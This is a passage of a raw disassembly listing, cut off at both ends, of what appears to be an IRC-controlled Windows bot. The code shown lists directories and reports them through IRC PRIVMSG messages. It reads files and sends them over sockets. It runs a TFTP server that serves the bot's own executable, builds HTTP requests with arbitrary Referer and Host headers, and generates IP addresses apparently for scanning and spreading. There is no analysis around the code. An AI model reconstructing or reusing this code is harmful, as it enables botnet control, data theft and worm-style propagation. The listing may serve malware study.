"\"><CODE>%s/</CODE></A>" loc_4065B6: ; CODE XREF: sub_4061E4+3CBj push edi push eax call sub_41752A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43EB74 ; send lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_406778 ; --------------------------------------------------------------------------- loc_4065F5: ; CODE XREF: sub_4061E4+32Aj lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41752A lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_406622: ; CODE XREF: sub_4061E4+47Bj lea eax, [ebp+var_248] push esi push eax call sub_41752A add esp, 24h jmp loc_406787 ; --------------------------------------------------------------------------- loc_406637: ; CODE XREF: sub_4061E4+2C9j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_406661 push ebx push [ebp+var_368] call sub_40CE23 push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_406622 ; --------------------------------------------------------------------------- loc_406661: ; CODE XREF: sub_4061E4+459j cmp [ebp+arg_C], ebx jz loc_406761 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41752A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43EB74 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s" push edi push eax call sub_41752A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43EB74 ; send lea eax, [ebp+var_35C] push eax call sub_4177B0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] jbe short loc_406707 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40670C ; --------------------------------------------------------------------------- loc_406707: ; CODE XREF: sub_4061E4+51Aj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40670C: ; CODE XREF: sub_4061E4+521j push edi push eax call sub_41752A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43EB74 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_41752A add esp, 1Ch jmp short loc_406787 ; --------------------------------------------------------------------------- loc_406761: ; CODE XREF: sub_4061E4+480j push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_406778: ; CODE XREF: sub_4061E4+40Cj lea eax, [ebp+var_248] push eax call sub_41752A add esp, 18h loc_406787: ; CODE XREF: sub_4061E4+317j ; sub_4061E4+44Ej ... lea eax, [ebp+var_248] push ebx push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43EB74 ; send cmp [ebp+arg_8], ebx jz short loc_4067B6 push 7D0h call dword_423064 ; Sleep loc_4067B6: ; CODE XREF: sub_4061E4+225j ; sub_4061E4+240j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call dword_4230B8 ; FindNextFileA test eax, eax jnz loc_406403 loc_4067CE: ; CODE XREF: sub_4061E4+214j push [ebp+arg_0] call dword_4230AC ; FindClose cmp [ebp+arg_8], ebx jz short loc_406811 mov eax, [ebp+var_8] cdq push edx push eax call sub_40CE23 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40CE23 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_416FB6 add esp, 14h jmp short loc_40683F ; --------------------------------------------------------------------------- loc_406811: ; CODE XREF: sub_4061E4+5F6j cmp [ebp+arg_C], ebx lea eax, [ebp+var_248] jz short loc_40682B push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_416FB6 pop ecx pop ecx jmp short loc_40683F ; --------------------------------------------------------------------------- loc_40682B: ; CODE XREF: sub_4061E4+636j push [ebp+var_8] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_416FB6 add esp, 10h loc_40683F: ; CODE XREF: sub_4061E4+62Bj ; sub_4061E4+645j lea eax, [ebp+var_248] push ebx push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43EB74 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_4061E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406865 proc near ; CODE XREF: sub_405DB9+135p var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call dword_423084 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40691D push esi push ebx call dword_4230A4 ; GetFileSize cmp eax, esi mov [ebp+arg_4], eax jz short loc_406916 loc_4068AA: ; CODE XREF: sub_406865+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_417030 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_4068C7 mov edi, [ebp+arg_4] loc_4068C7: ; CODE XREF: sub_406865+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call dword_4230C0 ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call dword_423074 ; ReadFile push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jnz short loc_406911 call dword_43EAB8 ; WSAGetLastError cmp eax, 2733h jnz short loc_406916 xor eax, eax loc_406911: ; CODE XREF: sub_406865+9Bj sub [ebp+arg_4], eax jnz short loc_4068AA loc_406916: ; CODE XREF: sub_406865+43j ; sub_406865+A8j push ebx call dword_423078 ; CloseHandle loc_40691D: ; CODE XREF: sub_406865+30j pop edi pop esi pop ebx leave retn sub_406865 endp ; =============== S U B R O U T I N E ======================================= sub_406922 proc near ; CODE XREF: sub_405F35+17Bp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_4177B0 test eax, eax pop ecx jbe short loc_40694B loc_406935: ; CODE XREF: sub_406922+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_40693F mov byte ptr [esi+edi], 2Fh loc_40693F: ; CODE XREF: sub_406922+17j push edi inc esi call sub_4177B0 cmp esi, eax pop ecx jb short loc_406935 loc_40694B: ; CODE XREF: sub_406922+11j mov eax, edi pop edi pop esi retn sub_406922 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406950 proc near ; CODE XREF: sub_40EC43+2BA9p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_43EA9C ; WSAStartup push 6 push 1 push 2 call dword_43EBA4 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417030 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_43EB24 ; htons push [ebp+arg_10] mov [ebp+var_E], ax call sub_40ABF8 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43EACC ; connect cmp eax, 0FFFFFFFFh jz short loc_406A2D mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_4069C9 mov eax, offset byte_43BCE8 loc_4069C9: ; CODE XREF: sub_406950+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41752A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_43EB74 ; send push esi lea eax, [ebp+var_110] push edi push eax call sub_417090 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_43EB3C ; recv pop esi loc_406A2D: ; CODE XREF: sub_406950+6Bj push ebx call dword_43EBBC ; closesocket call dword_43EA84 ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_416FB6 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_406A6D push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 14h loc_406A6D: ; CODE XREF: sub_406950+102j pop edi pop ebx leave retn sub_406950 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A71 proc near ; CODE XREF: sub_406A71:loc_406F56p ; DATA XREF: sub_4070A3+104o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd movsw xor ebx, ebx xor eax, eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx inc eax push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_43EBA4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_406B34 push 190h call dword_423064 ; Sleep call dword_43EAB8 ; WSAGetLastError push eax lea eax, [ebp+var_780] push offset dword_429CE0 push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_406B14 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D476 add esp, 14h loc_406B14: ; CODE XREF: sub_406A71+7Ej lea eax, [ebp+var_780] push eax call sub_40BD8D push [ebp+var_170] call sub_416D90 pop ecx pop ecx push ebx call dword_423054 ; ExitThread loc_406B34: ; CODE XREF: sub_406A71+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_444574[eax], edi lea eax, [ebp+var_44] push eax call sub_417030 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_43EB24 ; htons mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_43EB50 ; bind cmp eax, 0FFFFFFFFh jnz short loc_406B99 push 1388h call dword_423064 ; Sleep dec [ebp+var_16C] push [ebp+arg_0] jmp loc_406F56 ; --------------------------------------------------------------------------- loc_406B99: ; CODE XREF: sub_406A71+10Dj lea eax, [ebp+var_378] push offset aRb ; "rb" push eax call sub_4176A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_406C17 push 190h call dword_423064 ; Sleep lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset unk_429CA0 push eax call sub_416FB6 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D476 lea eax, [ebp+var_780] push eax call sub_40BD8D push [ebp+var_170] call sub_416D90 add esp, 28h push ebx call dword_423054 ; ExitThread loc_406C17: ; CODE XREF: sub_406A71+140j mov esi, 200h loc_406C1C: ; CODE XREF: sub_406A71+49Fj mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_406F16 mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_417030 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_43EB0C ; select test eax, eax jle loc_406F0A mov al, byte_43BCE8 mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_43EAFC ; recvfrom push [ebp+var_28] mov [ebp+var_C], eax call dword_43EBB0 ; inet_ntoa push eax lea eax, [ebp+var_58] push eax call sub_416FB6 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_406EF4 cmp [ebp+var_D7], 1 jnz loc_406E46 lea eax, [ebp+var_274] push eax call sub_4177B0 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_4177B0 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_418AA0 add esp, 14h test eax, eax jnz loc_406E00 lea eax, [ebp+var_1C] push eax call sub_4177B0 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_418AA0 add esp, 10h test eax, eax jnz loc_406E00 push ebx push ebx push [ebp+var_8] call sub_418A0E push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_418786 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_43EB88 ; sendto lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_429C50 loc_406DB4: ; CODE XREF: sub_406A71+47Ej lea eax, [ebp+var_780] push eax call sub_416FB6 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_406DEE push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D476 add esp, 14h loc_406DEE: ; CODE XREF: sub_406A71+358j lea eax, [ebp+var_780] push eax call sub_40BD8D pop ecx jmp loc_406F0A ; --------------------------------------------------------------------------- loc_406E00: ; CODE XREF: sub_406A71+2B6j ; sub_406A71+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_429C38 push edi call dword_43EB88 ; sendto lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset dword_429BFC push eax call sub_416FB6 lea eax, [ebp+var_D8] push eax call sub_40BD8D add esp, 14h jmp loc_406F0A ; --------------------------------------------------------------------------- loc_406E46: ; CODE XREF: sub_406A71+275j cmp [ebp+var_D7], 4 jnz loc_406EF4 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_406E7D inc al xor cl, cl mov [ebp+var_57D], bl jmp short loc_406E85 ; --------------------------------------------------------------------------- loc_406E7D: ; CODE XREF: sub_406A71+3FEj inc cl mov [ebp+var_57D], cl loc_406E85: ; CODE XREF: sub_406A71+40Aj mov [ebp+var_57E], al push ebx movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_418A0E push [ebp+var_8] lea eax, [ebp+var_57C] push esi push 1 push eax call sub_418786 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_43EB88 ; sendto cmp edi, ebx jnz short loc_406F0A lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_429BA0 jmp loc_406DB4 ; --------------------------------------------------------------------------- loc_406EF4: ; CODE XREF: sub_406A71+268j ; sub_406A71+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_429B90 push edi call dword_43EB88 ; sendto loc_406F0A: ; CODE XREF: sub_406A71+204j ; sub_406A71+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_406C1C loc_406F16: ; CODE XREF: sub_406A71+1B4j push edi call dword_43EBBC ; closesocket push [ebp+var_8] call sub_417600 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_406F4A push [ebp+var_170] call sub_416D90 pop ecx push ebx call dword_423054 ; ExitThread loc_406F4A: ; CODE XREF: sub_406A71+4C4j push 3E8h call dword_423064 ; Sleep push esi loc_406F56: ; CODE XREF: sub_406A71+123j call sub_406A71 pop edi pop esi pop ebx leave retn 4 sub_406A71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406F62 proc near ; CODE XREF: sub_40EC43+5D10p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset dword_42A1E8 push eax xor ebx, ebx call sub_416FB6 cmp dword_429D60, ebx pop ecx pop ecx mov edi, 200h jz short loc_406FD0 push esi mov esi, offset dword_429D68 loc_406F95: ; CODE XREF: sub_406F62+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_416FB6 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418AE0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_406F95 pop esi loc_406FD0: ; CODE XREF: sub_406F62+2Bj push dword_4890F8 call sub_40B54D push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_416FB6 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418AE0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 lea eax, [ebp+var_200] push eax call sub_40BD8D add esp, 38h pop edi pop ebx leave retn sub_406F62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40702C proc near ; CODE XREF: sub_40EC43+5662p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_416CBC test eax, eax pop ecx jle short loc_407068 mov eax, [ebp+arg_C] push dword_43BD10[eax*8] call dword_43EBB0 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset dword_42A264 push eax call sub_416FB6 add esp, 0Ch jmp short loc_40707B ; --------------------------------------------------------------------------- loc_407068: ; CODE XREF: sub_40702C+13j lea eax, [ebp+var_200] push offset dword_42A228 push eax call sub_416FB6 pop ecx pop ecx loc_40707B: ; CODE XREF: sub_40702C+3Aj ; DATA XREF: .data:00427334o ... push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 lea eax, [ebp+var_200] push eax call sub_40BD8D add esp, 18h leave retn sub_40702C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4070A3 proc near ; CODE XREF: sub_4077CC+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_407421 imul eax, 3Ch xor ebx, ebx cmp dword_429D6C[eax], ebx jz loc_407314 push 4 call sub_416CBC test eax, eax pop ecx jnz loc_407421 mov eax, dword_42E904 push edi mov edi, offset dword_43CCCC push 104h push edi push ebx mov dword_43CEDC, eax mov dword_43CED8, ebx call dword_423094 ; GetModuleFileNameA push 103h mov esi, offset dword_43CDD0 push offset byte_42E9B8 push esi call sub_418910 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_43CCC8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_43CF60, eax jnz short loc_407153 lea eax, [ebp+arg_10] push eax push offset dword_43CEE0 call sub_418910 mov dword_43CF64, 1 jmp short loc_40716A ; --------------------------------------------------------------------------- loc_407153: ; CODE XREF: sub_4070A3+94j lea eax, [ebp+arg_90] push eax push offset dword_43CEE0 call sub_418910 mov dword_43CF64, ebx loc_40716A: ; CODE XREF: sub_4070A3+AEj add esp, 0Ch lea eax, [ebp+var_204] push esi push edi push dword_43CEDC push offset dword_42A440 push eax call sub_416FB6 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_416A7A add esp, 20h mov dword_43CED4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43CCC8 push offset sub_406A71 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, dword_43CED4 imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz loc_407269 call dword_42308C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset dword_42A3F0 push eax call sub_416FB6 add esp, 0Ch loc_4071E9: ; CODE XREF: sub_4070A3+1CEj lea eax, [ebp+var_204] push eax call sub_40BD8D mov edi, offset dword_43D324 mov [esp+210h+var_210], 104h push edi push ebx mov dword_43D530, ebx call dword_423094 ; GetModuleFileNameA push 103h mov esi, offset dword_43D428 push offset byte_42E9B8 push esi call sub_418910 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_43D320, eax mov eax, [ebp+arg_138] push 7Fh mov dword_43D5B8, eax jnz short loc_407276 lea eax, [ebp+arg_10] push eax push offset dword_43D538 call sub_418910 mov dword_43D5BC, 1 jmp short loc_40728D ; --------------------------------------------------------------------------- loc_407261: ; CODE XREF: sub_4070A3+1CCj push 32h call dword_423064 ; Sleep loc_407269: ; CODE XREF: sub_4070A3+125j cmp dword_43CF68, ebx jz short loc_407261 jmp loc_4071E9 ; --------------------------------------------------------------------------- loc_407276: ; CODE XREF: sub_4070A3+1A2j lea eax, [ebp+arg_90] push eax push offset dword_43D538 call sub_418910 mov dword_43D5BC, ebx loc_40728D: ; CODE XREF: sub_4070A3+1BCj add esp, 0Ch lea eax, [ebp+var_204] push esi push edi push dword_43D534 push offset unk_42A398 push eax call sub_416FB6 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_416A7A add esp, 20h mov dword_43D52C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43D320 push offset sub_405285 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, dword_43D52C pop edi imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_407307 call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_42A348 jmp loc_407405 ; --------------------------------------------------------------------------- loc_4072FF: ; CODE XREF: sub_4070A3+26Aj push 32h call dword_423064 ; Sleep loc_407307: ; CODE XREF: sub_4070A3+249j cmp dword_43D5C0, ebx jz short loc_4072FF jmp loc_407414 ; --------------------------------------------------------------------------- loc_407314: ; CODE XREF: sub_4070A3+25j cmp dword_429D70[eax], ebx jz loc_407421 push 3 call sub_416CBC test eax, eax pop ecx jnz loc_407421 mov esi, offset dword_43D1FC push 104h push esi push ebx call dword_423094 ; GetModuleFileNameA push 5Ch push esi call sub_418C10 pop ecx cmp eax, ebx pop ecx jz short loc_407352 mov [eax], bl loc_407352: ; CODE XREF: sub_4070A3+2ABj mov eax, dword_42E908 mov dword_43D314, ebx mov dword_43D300, eax lea eax, [ebp+arg_10] push eax push offset dword_43CF74 call sub_416FB6 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_43CF70, eax mov ecx, [ebp+arg_138] push esi push dword_43D300 mov dword_43D30C, ecx mov ecx, [ebp+arg_13C] push eax mov dword_43D310, ecx call sub_40AD08 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42A2F0 push eax call sub_416FB6 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_416A7A add esp, 20h mov dword_43D308, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43CF70 push offset sub_405983 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, dword_43D308 imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_40742D call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_42A2A0 loc_407405: ; CODE XREF: sub_4070A3+257j lea eax, [ebp+var_204] push eax call sub_416FB6 add esp, 0Ch loc_407414: ; CODE XREF: sub_4070A3+26Cj ; sub_4070A3+392j lea eax, [ebp+var_204] push eax call sub_40BD8D pop ecx loc_407421: ; CODE XREF: sub_4070A3+14j ; sub_4070A3+35j ... pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_407425: ; CODE XREF: sub_4070A3+390j push 32h call dword_423064 ; Sleep loc_40742D: ; CODE XREF: sub_4070A3+354j cmp dword_43D31C, ebx jz short loc_407425 jmp short loc_407414 sub_4070A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407437 proc near ; CODE XREF: sub_4075B8:loc_40761Ap arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:43BD10h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_417090 add esp, 0Ch push [ebp+arg_0] call dword_43EA58 ; htonl inc eax push eax mov [ebp+arg_0], eax call dword_43EB20 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_417090 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_407437 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40747F proc near ; CODE XREF: sub_4075B8+5Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_4177B0 cmp eax, 0Fh pop ecx jbe short loc_4074A7 xor eax, eax jmp short loc_407518 ; --------------------------------------------------------------------------- loc_4074A7: ; CODE XREF: sub_40747F+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_418752 add esp, 18h cmp [ebp+var_C], esi jnz short loc_4074D4 call sub_417012 mov [ebp+var_C], eax loc_4074D4: ; CODE XREF: sub_40747F+4Bj cmp [ebp+var_8], esi jnz short loc_4074E1 call sub_417012 mov [ebp+var_8], eax loc_4074E1: ; CODE XREF: sub_40747F+58j cmp [ebp+var_4], esi jnz short loc_4074EE call sub_417012 mov [ebp+var_4], eax loc_4074EE: ; CODE XREF: sub_40747F+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_4074FA call sub_417012 loc_4074FA: ; CODE XREF: sub_40747F+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_43BD10[ecx*8], eax loc_407518: ; CODE XREF: sub_40747F+26j pop esi leave retn sub_40747F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40751B proc near ; CODE XREF: sub_4075B8+A9p ; sub_40D2C2+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword 